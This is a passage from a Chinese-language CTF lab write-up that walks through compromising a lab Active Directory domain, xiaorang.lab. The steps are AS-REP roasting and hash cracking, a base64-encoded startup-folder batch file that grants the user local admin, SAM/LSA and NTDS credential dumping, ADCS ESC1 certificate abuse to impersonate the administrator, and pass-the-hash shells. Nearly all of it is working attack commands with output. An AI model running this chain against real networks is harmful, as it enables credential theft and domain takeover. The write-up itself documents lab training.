LDAP        172.22.61.17    389    DC               CN=yangjie,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=zhangjun,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=yangdming,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=zhangmei,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=wangrong,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=zhangpeng,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=liuyun,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Shutdown_group,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=WIN2012,CN=Computers,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Web,CN=Computers,DC=xiaorang,DC=lab

AS-REP Roasting 攻击:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@kali-server:~# proxychains4 -q impacket-GetNPUsers xiaorang.lab/ -usersfile users.txt -dc-ip 172.22.61.17 -format hashcat -outputfile hashes.asreproast
Impacket v0.11.0 - Copyright 2023 Fortra

[-] User wangmei doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User zhangjing doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User wangyong doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User huangyong doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lixiang doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User chenlei doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User yangjie doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User zhangjun doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$yangdming@XIAORANG.LAB:55edcf27e96ffd5866ad86a4b624e844$5155e40cbe979953fd3f28132266a75b1e82dfc4b36530747f1b0f692381cec2f25b77a3ace561215b9762d9905182f598da0c08037d6d25eb3e27d2f3d96c0cd42ff97958715d5d1012cefd6a16269fc80cc1cf9e55d8a999a1d68250158f79660b8fc590263d834c19977881e33e034da749aec4b2e3a67cea4815160d49851c350ada3583f6b9f605fc2020fad317d7730ff34b7b10068ad9c9d13f0f0e4fdac19b6f7aac2b027101356f3a3bc293b7e33be147b3aa9b329c7fc59f087189f0ef8b0d267d2402a6a212c1f879c1b1bfea6ee970caf4522b0797548d17860165c7237fe3ad7df1d50a6dc4
[-] User zhangmei doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User wangrong doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User zhangpeng doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User liuyun doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User WIN2012 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Web doesn't have UF_DONT_REQUIRE_PREAUTH set

hashcat 爆破密码:

1
2
root@kali-server:~# hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt --show
$krb5asrep$23$yangdming@XIAORANG.LAB:55edcf27e96ffd5866ad86a4b624e844$5155e40cbe979953fd3f28132266a75b1e82dfc4b36530747f1b0f692381cec2f25b77a3ace561215b9762d9905182f598da0c08037d6d25eb3e27d2f3d96c0cd42ff97958715d5d1012cefd6a16269fc80cc1cf9e55d8a999a1d68250158f79660b8fc590263d834c19977881e33e034da749aec4b2e3a67cea4815160d49851c350ada3583f6b9f605fc2020fad317d7730ff34b7b10068ad9c9d13f0f0e4fdac19b6f7aac2b027101356f3a3bc293b7e33be147b3aa9b329c7fc59f087189f0ef8b0d267d2402a6a212c1f879c1b1bfea6ee970caf4522b0797548d17860165c7237fe3ad7df1d50a6dc4:kier@n10

bloodhound 域环境分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@kali-server:~# proxychains4 -q bloodhound-python -u yangdming -p kier@n10 -d xiaorang.lab -dc DC.xiaorang.lab -ns 172.22.61.17 -c all --auth-method ntlm --dns-tcp --zip
INFO: Found AD domain: xiaorang.lab
INFO: Connecting to LDAP server: DC.xiaorang.lab
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 3 computers
INFO: Connecting to LDAP server: DC.xiaorang.lab
INFO: Found 18 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: Web.xiaorang.lab
INFO: Querying computer: WIN2012.xiaorang.lab
INFO: Querying computer: DC.xiaorang.lab
INFO: Done in 02M 52S
INFO: Compressing output into 20231107142605_bloodhound.zip

image.png

域用户 yangdming@xiaorang.lab 是域组 shutdown_group@xiaorang.lab 中的成员。

查看其特权,发现该域用户拥有 SeShutdownPrivilegeSeRemoteShutdownPrivilege 特权,允许从远程系统强制关闭或重启计算机:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@kali-server:~# proxychains4 -q cme winrm 172.22.61.34 -u yangdming -p kier@n10 -X 'whoami /priv'
SMB         172.22.61.34    5985   WIN2012          [*] Windows 6.3 Build 9600 (name:WIN2012) (domain:xiaorang.lab)
HTTP        172.22.61.34    5985   WIN2012          [*] http://172.22.61.34:5985/wsman
HTTP        172.22.61.34    5985   WIN2012          [+] xiaorang.lab\yangdming:kier@n10 (Pwn3d!)
HTTP        172.22.61.34    5985   WIN2012          [+] Executed command
HTTP        172.22.61.34    5985   WIN2012
HTTP        172.22.61.34    5985   WIN2012          特权信息
HTTP        172.22.61.34    5985   WIN2012          ----------------------
HTTP        172.22.61.34    5985   WIN2012
HTTP        172.22.61.34    5985   WIN2012          特权名                        描述               状态
HTTP        172.22.61.34    5985   WIN2012          ============================= ================== ======
HTTP        172.22.61.34    5985   WIN2012          SeShutdownPrivilege           关闭系统           已启用
HTTP        172.22.61.34    5985   WIN2012          SeChangeNotifyPrivilege       绕过遍历检查       已启用
HTTP        172.22.61.34    5985   WIN2012          SeRemoteShutdownPrivilege     从远程系统强制关机 已启用
HTTP        172.22.61.34    5985   WIN2012          SeIncreaseWorkingSetPrivilege 增加进程工作集     已启用

可以利用系统开机启动项提权。

向主机写入以下内容至开机启动目录进行本地提权:

1
2
3
4
@echo off
net localgroup administrators yangdming /add
reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

注册表键 LocalAccountTokenFilterPolicy - 用于控制本地管理员组内所有本地用户的远程连接访问令牌过滤策略。

当设置为 0(默认值)时,只有使用 RID 500 本地管理员的明文凭据或密码哈希才能实现具有高完整性访问令牌的远程连接(并且仅取决于 FilterAdministratorToken 的设置)。对于非 RID 500 本地管理员,远程连接的访问令牌将被过滤(即中等完整性)。如果设置为 1,则该策略允许本地管理员组的任何成员使用纯文本凭据或密码哈希进行具有高完整性访问令牌的远程连接。

写入文件内容,重启计算机后,域用户 yangdming 将会拥有本地管理员权限:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
root@kali-server:~# proxychains4 -q cme winrm 172.22.61.34 -u yangdming -p kier@n10 -x 'echo "QGVjaG8gb2ZmIApuZXQgbG9jYWxncm91cCBhZG1pbmlzdHJhdG9ycyB5YW5nZG1pbmcgL2FkZCAKcmVnIEFERCBIS0xNXFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFBvbGljaWVzXFN5c3RlbSAvdiBMb2NhbEFjY291bnRUb2tlbkZpbHRlclBvbGljeSAvdCBSRUdfRFdPUkQgL2QgMSAvZg==" > "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\LPE.txt"'

root@kali-server:~# proxychains4 -q cme winrm 172.22.61.34 -u yangdming -p kier@n10 -x 'certutil.exe -decode "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\LPE.txt" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\LPE.bat"'

root@kali-server:~# proxychains4 -q cme winrm 172.22.61.34 -u yangdming -p kier@n10 -X 'shutdown -r -t 0'

root@kali-server:~# proxychains4 -q cme winrm 172.22.61.34 -u yangdming -p kier@n10 -X 'whoami /priv'
SMB         172.22.61.34    5985   WIN2012          [*] Windows 6.3 Build 9600 (name:WIN2012) (domain:xiaorang.lab)
HTTP        172.22.61.34    5985   WIN2012          [*] http://172.22.61.34:5985/wsman
HTTP        172.22.61.34    5985   WIN2012          [+] xiaorang.lab\yangdming:kier@n10 (Pwn3d!)
HTTP        172.22.61.34    5985   WIN2012          [+] Executed command
HTTP        172.22.61.34    5985   WIN2012
HTTP        172.22.61.34    5985   WIN2012          特权信息
HTTP        172.22.61.34    5985   WIN2012          ----------------------
HTTP        172.22.61.34    5985   WIN2012
HTTP        172.22.61.34    5985   WIN2012          特权名                          描述                       状态
HTTP        172.22.61.34    5985   WIN2012          =============================== ========================== ======
HTTP        172.22.61.34    5985   WIN2012          SeIncreaseQuotaPrivilege        为进程调整内存配额         已启用
HTTP        172.22.61.34    5985   WIN2012          SeSecurityPrivilege             管理审核和安全日志         已启用
HTTP        172.22.61.34    5985   WIN2012          SeTakeOwnershipPrivilege        取得文件或其他对象的所有权 已启用
HTTP        172.22.61.34    5985   WIN2012          SeLoadDriverPrivilege           加载和卸载设备驱动程序     已启用
HTTP        172.22.61.34    5985   WIN2012          SeSystemProfilePrivilege        配置文件系统性能           已启用
HTTP        172.22.61.34    5985   WIN2012          SeSystemtimePrivilege           更改系统时间               已启用
HTTP        172.22.61.34    5985   WIN2012          SeProfileSingleProcessPrivilege 配置文件单一进程           已启用
HTTP        172.22.61.34    5985   WIN2012          SeIncreaseBasePriorityPrivilege 提高计划优先级             已启用
HTTP        172.22.61.34    5985   WIN2012          SeCreatePagefilePrivilege       创建一个页面文件           已启用
HTTP        172.22.61.34    5985   WIN2012          SeBackupPrivilege               备份文件和目录             已启用
HTTP        172.22.61.34    5985   WIN2012          SeRestorePrivilege              还原文件和目录             已启用
HTTP        172.22.61.34    5985   WIN2012          SeShutdownPrivilege             关闭系统                   已启用
HTTP        172.22.61.34    5985   WIN2012          SeDebugPrivilege                调试程序                   已启用
HTTP        172.22.61.34    5985   WIN2012          SeSystemEnvironmentPrivilege    修改固件环境值             已启用
HTTP        172.22.61.34    5985   WIN2012          SeChangeNotifyPrivilege         绕过遍历检查               已启用
HTTP        172.22.61.34    5985   WIN2012          SeRemoteShutdownPrivilege       从远程系统强制关机         已启用
HTTP        172.22.61.34    5985   WIN2012          SeUndockPrivilege               从扩展坞上取下计算机       已启用
HTTP        172.22.61.34    5985   WIN2012          SeManageVolumePrivilege         执行卷维护任务             已启用
HTTP        172.22.61.34    5985   WIN2012          SeImpersonatePrivilege          身份验证后模拟客户端       已启用
HTTP        172.22.61.34    5985   WIN2012          SeCreateGlobalPrivilege         创建全局对象               已启用
HTTP        172.22.61.34    5985   WIN2012          SeIncreaseWorkingSetPrivilege   增加进程工作集             已启用
HTTP        172.22.61.34    5985   WIN2012          SeTimeZonePrivilege             更改时区                   已启用
HTTP        172.22.61.34    5985   WIN2012          SeCreateSymbolicLinkPrivilege   创建符号链接               已启用

注:DNS 隧道太卡了,用 evil-winrm 实在受不了🫤。

转储主机上的 SAM 和 LSA 凭证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
root@kali-server:~# proxychains4 -q impacket-secretsdump xiaorang.lab/yangdming:'kier@n10'@WIN2012.xiaorang.lab -target-ip 172.22.61.34
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x138599167cd48a7b4d09526ec6522d48
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c8f9c9d0f45b132dd0ecc0ab84708a83:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
XIAORANG.LAB/yangming:$DCC2$10240#yangming#f153c729fda454be46a97043b61c8bba: (2023-09-12 09:37:28)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
XIAORANG\WIN2012$:aes256-cts-hmac-sha1-96:108ffe5cf78deeb42aa15edcca403b9ee494fcae8dadd5c7a7e94fb221ecca87
XIAORANG\WIN2012$:aes128-cts-hmac-sha1-96:827e699ab174e23126d86eb234a9587f
XIAORANG\WIN2012$:des-cbc-md5:615701dfdc5789a7
XIAORANG\WIN2012$:plain_password_hex:0e8705ef55c38dd82f190ef00d8dd4b0a8f221e20f07c51bf850486fa5932863f1bcb92fb3152895b8bd8a18bed05935d3817c311bd02eec5c9c4900fa67a4073468809a52f5575b4ecf6d80f505571287bb661df9b0b95d693f807aeaa0aadb15480a1bf2839d0fb631cda16da51686c761631e5dfd5ae9fa1254039f58013e8a0345315ccbeb35064bc247ac521fb55ab3ffd22bb6a9ff9b5e1166d61158e1000866b32492d23f174a27fdc9bb3bfb514fae87992da30cd7146243c2461072ca433ca7bc50c350123349a724c1e601952d45ae9cbfa57e6ba6bdd30398463cf1c7d3e35f63a0f57625619d89e696fb
XIAORANG\WIN2012$:aad3b435b51404eeaad3b435b51404ee:af2d11a6c5a3addf14ccc2bb9daccaec:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0xa86050e67c2ff5d8441af7c55b6f57e3f794d0bf
dpapi_userkey:0xb70b25ba8b2702cd5ce1e3333fc31c19403a417c
[*] NL$KM
 0000   21 FA 51 78 C6 57 1A 87  AA 4B 3B EE BF 02 D4 E9   !.Qx.W...K;.....
 0010   2F 15 3C 39 CB 62 E7 EE  17 67 AB 41 2F 54 6C 78   /.<9.b...g.A/Tlx
 0020   75 24 68 2D C7 ED 6C A7  B2 6D 77 4C C0 66 FD F2   u$h-..l..mwL.f..
 0030   23 11 E4 56 C2 6B 53 F3  49 06 AF 9B 7B FB FE 00   #..V.kS.I...{...
NL$KM:21fa5178c6571a87aa4b3beebf02d4e92f153c39cb62e7ee1767ab412f546c787524682dc7ed6ca7b26d774cc066fdf22311e456c26b53f34906af9b7bfbfe00
[*] Cleaning up...
[*] Stopping service RemoteRegistry

查看 flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
root@kali-server:~# proxychains4 -q cme winrm 172.22.61.34 -u yangdming -p kier@n10 -X 'type C:\Users\Administrator\flag\flag03.txt'
SMB         172.22.61.34    5985   WIN2012          [*] Windows 6.3 Build 9600 (name:WIN2012) (domain:xiaorang.lab)
HTTP        172.22.61.34    5985   WIN2012          [*] http://172.22.61.34:5985/wsman
HTTP        172.22.61.34    5985   WIN2012          [+] xiaorang.lab\yangdming:kier@n10 (Pwn3d!)
HTTP        172.22.61.34    5985   WIN2012          [+] Executed command
HTTP        172.22.61.34    5985   WIN2012          _________                                  __   ____  ____
HTTP        172.22.61.34    5985   WIN2012          |  _   _  |                                [  | |_  _||_  _|
HTTP        172.22.61.34    5985   WIN2012          |_/ | | \_|__   _   _ .--.   _ .--.  .---.  | |   \ \  / /
HTTP        172.22.61.34    5985   WIN2012          | |   [  | | | [ `.-. | [ `.-. |/ /__\\ | |    > `' <
HTTP        172.22.61.34    5985   WIN2012          _| |_   | \_/ |, | | | |  | | | || \__., | |  _/ /'`\ \_
HTTP        172.22.61.34    5985   WIN2012          |_____|  '.__.'_/[___||__][___||__]'.__.'[___]|____||____|
HTTP        172.22.61.34    5985   WIN2012
HTTP        172.22.61.34    5985   WIN2012          flag03: flag{b63ab7a1-ee82-4d46-b0fb-3b0e66cc8978}

第 4 关

关卡剧情:

发现域控制器所存在的漏洞,尝试获取域内管理员权限。


查找 ADCS 并列出 PKI 中的所有证书:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@kali-server:~# proxychains4 -q cme ldap 172.22.61.17 -u yangdming -p kier@n10 -ns 172.22.61.17 -M adcs
SMB         172.22.61.17    445    DC               [*] Windows Server 2016 Datacenter 14393 x64 (name:DC) (domain:xiaorang.lab) (signing:True) (SMBv1:True)
LDAP        172.22.61.17    389    DC               [+] xiaorang.lab\yangdming:kier@n10
ADCS        172.22.61.17    389    DC               [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS                                                Found PKI Enrollment Server: DC.xiaorang.lab
ADCS                                                Found CN: xiaorang-DC-CA-CA

root@kali-server:~# proxychains4 -q cme ldap 172.22.61.17 -u yangdming -p 'kier@n10' -ns 172.22.61.17 -M adcs -o SERVER=xiaorang-DC-CA-CA
SMB         172.22.61.17    445    DC               [*] Windows Server 2016 Datacenter 14393 x64 (name:DC) (domain:xiaorang.lab) (signing:True) (SMBv1:True)
LDAP        172.22.61.17    389    DC               [+] xiaorang.lab\yangdming:kier@n10
ADCS                                                Using PKI CN: xiaorang-DC-CA-CA
ADCS        172.22.61.17    389    DC               [*] Starting LDAP search with search filter '(distinguishedName=CN=xiaorang-DC-CA-CA,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,'
ADCS                                                Found Certificate Template: win2012
ADCS                                                Found Certificate Template: DirectoryEmailReplication
ADCS                                                Found Certificate Template: DomainControllerAuthentication
ADCS                                                Found Certificate Template: KerberosAuthentication
ADCS                                                Found Certificate Template: EFSRecovery
ADCS                                                Found Certificate Template: EFS
ADCS                                                Found Certificate Template: DomainController
ADCS                                                Found Certificate Template: WebServer
ADCS                                                Found Certificate Template: Machine
ADCS                                                Found Certificate Template: User
ADCS                                                Found Certificate Template: SubCA
ADCS                                                Found Certificate Template: Administrator

枚举 AD CS,并检测易受攻击的证书模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
root@kali-server:~# proxychains4 -q certipy find -u 'WIN2012$'@xiaorang.lab -hashes :af2d11a6c5a3addf14ccc2bb9daccaec -dc-ip 172.22.61.17 -vulnerable -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'xiaorang-DC-CA-CA' via CSRA
[!] Got error while trying to get CA configuration for 'xiaorang-DC-CA-CA' via CSRA: Can't find a valid stringBinding to connect
[*] Trying to get CA configuration for 'xiaorang-DC-CA-CA' via RRP
[!] Got error while trying to get CA configuration for 'xiaorang-DC-CA-CA' via RRP: [Errno Connection error (224.0.0.1:445)] [Errno 111] Connection refused
[!] Failed to get CA configuration for 'xiaorang-DC-CA-CA'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : xiaorang-DC-CA-CA
    DNS Name                            : DC.xiaorang.lab
    Certificate Subject                 : CN=xiaorang-DC-CA-CA, DC=xiaorang, DC=lab
    Certificate Serial Number           : 3D4ADD9E6B35D1B74B725D8B717CEEE8
    Certificate Validity Start          : 2023-09-11 14:56:26+00:00
    Certificate Validity End            : 2028-09-11 15:06:26+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Unknown
    Request Disposition                 : Unknown
    Enforce Encryption for Requests     : Unknown
Certificate Templates
  0
    Template Name                       : win2012
    Display Name                        : win2012
    Certificate Authorities             : xiaorang-DC-CA-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : True
    Any Purpose                         : True
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : XIAORANG.LAB\Domain Admins
                                          XIAORANG.LAB\Domain Computers
                                          XIAORANG.LAB\Enterprise Admins
      Object Control Permissions
        Owner                           : XIAORANG.LAB\Administrator
        Write Owner Principals          : XIAORANG.LAB\Domain Admins
                                          XIAORANG.LAB\Enterprise Admins
                                          XIAORANG.LAB\Administrator
        Write Dacl Principals           : XIAORANG.LAB\Domain Admins
                                          XIAORANG.LAB\Enterprise Admins
                                          XIAORANG.LAB\Administrator
        Write Property Principals       : XIAORANG.LAB\Domain Admins
                                          XIAORANG.LAB\Enterprise Admins
                                          XIAORANG.LAB\Administrator
    [!] Vulnerabilities
      ESC1                              : 'XIAORANG.LAB\\Domain Computers' can enroll, enrollee supplies subject and template allows client authentication
      ESC2                              : 'XIAORANG.LAB\\Domain Computers' can enroll and template can be used for any purpose
      ESC3                              : 'XIAORANG.LAB\\Domain Computers' can enroll and template has Certificate Request Agent EKU set

注:DNS 隧道速度非常的慢,使用 certipy find 命令可能会遇见超时的情况,可以尝试使用 -timeout 参数指定连接超时时间。

ADCS ESC1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@kali-server:~# proxychains4 -q certipy req -u 'WIN2012$@xiaorang.lab' -hashes :af2d11a6c5a3addf14ccc2bb9daccaec -target 172.22.61.17 -dc-ip 172.22.61.17 -ca xiaorang-DC-CA-CA -template win2012 -upn administrator@xiaorang.lab
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 63
[*] Got certificate with UPN 'administrator@xiaorang.lab'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

root@kali-server:~# proxychains4 -q certipy auth -pfx administrator.pfx -dc-ip 172.22.61.17
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@xiaorang.lab
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@xiaorang.lab': aad3b435b51404eeaad3b435b51404ee:e26a28fd9daa8a6a4d3c5adbbdcb0f53

从域控转储凭证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root@kali-server:~# export KRB5CCNAME=administrator.ccache

root@kali-server:~# proxychains4 -q impacket-secretsdump xiaorang.lab/administrator@dc.xiaorang.lab -target-ip 172.22.61.17 -dc-ip 172.22.61.17 -no-pass -k -just-dc-ntlm -user-status
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e26a28fd9daa8a6a4d3c5adbbdcb0f53::: (status=Enabled)
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: (status=Disabled)
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0b028e2ae23887824de5c266331d1805::: (status=Disabled)
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: (status=Disabled)
wangmei:1103:aad3b435b51404eeaad3b435b51404ee:20e22050400d186fc1661cc383d86bed::: (status=Enabled)
zhangjing:1104:aad3b435b51404eeaad3b435b51404ee:12b5aae538465c791958e2e724f9aa67::: (status=Enabled)
wangyong:1106:aad3b435b51404eeaad3b435b51404ee:a545bcf443a7dd6fd719b1b09e99419c::: (status=Enabled)
huangyong:1107:aad3b435b51404eeaad3b435b51404ee:2e476cc928518f5e0b6190fb90ac2373::: (status=Enabled)
lixiang:1108:aad3b435b51404eeaad3b435b51404ee:e3dc9cf6df710253ddd1316a93f19f47::: (status=Enabled)
chenlei:1109:aad3b435b51404eeaad3b435b51404ee:32d0c6f5ef516e597795f7d44d322927::: (status=Enabled)
yangjie:1110:aad3b435b51404eeaad3b435b51404ee:6f37b7da9315af8bebc8e7168b851525::: (status=Enabled)
zhangjun:1111:aad3b435b51404eeaad3b435b51404ee:ff1b5d2f66cd940a1464dda6269a2706::: (status=Enabled)
yangdming:1112:aad3b435b51404eeaad3b435b51404ee:4bea4f53cc295e2d6c1d678ffb99285e::: (status=Enabled)
zhangmei:1113:aad3b435b51404eeaad3b435b51404ee:c8db91451ce0154f540606c3ed95d88f::: (status=Enabled)
wangrong:1114:aad3b435b51404eeaad3b435b51404ee:b456d7ca2f71543e3037fd03bd86c4a3::: (status=Enabled)
zhangpeng:1115:aad3b435b51404eeaad3b435b51404ee:e1423f7459cc39e48d9fb04fdb5e6135::: (status=Enabled)
liuyun:1116:aad3b435b51404eeaad3b435b51404ee:494855eaa3babb967620f51bbf99a627::: (status=Enabled)
DC$:1000:aad3b435b51404eeaad3b435b51404ee:27c17abbc626cc55a559030b3d5a7f3f::: (status=Enabled)
WIN2012$:1119:aad3b435b51404eeaad3b435b51404ee:af2d11a6c5a3addf14ccc2bb9daccaec::: (status=Enabled)
WEB$:1120:aad3b435b51404eeaad3b435b51404ee:384c4097799e3667524d12efa7f3569f::: (status=Enabled)
[*] Cleaning up...

PTH 域控主机:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
root@kali-server:~# proxychains4 -q impacket-wmiexec xiaorang.lab/administrator@172.22.61.17 -hashes :e26a28fd9daa8a6a4d3c5adbbdcb0f53 -codec GBK -shell-type powershell
Impacket v0.11.0 - Copyright 2023 Fortra

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
PS C:\> type C:\Users\Administrator\flag\flag04.txt
 ,ggggggggggggggg                                                  ,ggg,          ,gg
dP""""""88"""""""                                           ,dPYb,dP"""Y8,      ,dP'
Yb,_    88                                                  IP'`YbYb,_  "8b,   d8"
 `""    88                                                  I8  8I `""    Y8,,8P'
        88                                                  I8  8'         Y88"
        88 gg      gg   ,ggg,,ggg,    ,ggg,,ggg,    ,ggg,   I8 dP         ,888b
        88 I8      8I  ,8" "8P" "8,  ,8" "8P" "8,  i8" "8i  I8dP         d8" "8b,
  gg,   88 I8,    ,8I  I8   8I   8I  I8   8I   8I  I8, ,8I  I8P        ,8P'    Y8,
   "Yb,,8P,d8b,  ,d8b,,dP   8I   Yb,,dP   8I   Yb, `YbadP' ,d8b,_     d8"       "Yb,
     "Y8P'8P'"Y88P"`Y88P'   8I   `Y88P'   8I   `Y8888P"Y8888P'"Y88  ,8P'          "Y8

flag04: flag{22f6a452-a637-4d31-aead-ec2174519d95}

PS C:\>

PTH WEB 主机:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
root@kali-server:~# proxychains4 -q impacket-wmiexec xiaorang.lab/administrator@172.22.61.50 -hashes :e26a28fd9daa8a6a4d3c5adbbdcb0f53 -codec GBK -shell-type powershell
Impacket v0.11.0 - Copyright 2023 Fortra

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
PS C:\> type C:\Users\Administrator\flag\flag01.txt
 ________                                        __  __    __
/        |                                      /  |/  |  /  |
$$$$$$$$/__    __  _______   _______    ______  $$ |$$ |  $$ |
   $$ | /  |  /  |/       \ /       \  /      \ $$ |$$  \/$$/
   $$ | $$ |  $$ |$$$$$$$  |$$$$$$$  |/$$$$$$  |$$ | $$  $$<
   $$ | $$ |  $$ |$$ |  $$ |$$ |  $$ |$$    $$ |$$ |  $$$$  \
   $$ | $$ \__$$ |$$ |  $$ |$$ |  $$ |$$$$$$$$/ $$ | $$ /$$  |
   $$ | $$    $$/ $$ |  $$ |$$ |  $$ |$$       |$$ |$$ |  $$ |
   $$/   $$$$$$/  $$/   $$/ $$/   $$/  $$$$$$$/ $$/ $$/   $$/


flag01: flag{cd2ae123-36aa-4746-9ade-91be9e01f1c1}

PS C:\>
本文由作者按照 CC BY 4.0 进行授权

© h0ny. 保留部分权利。

本站由 Jekyll 生成,采用 Chirpy 主题。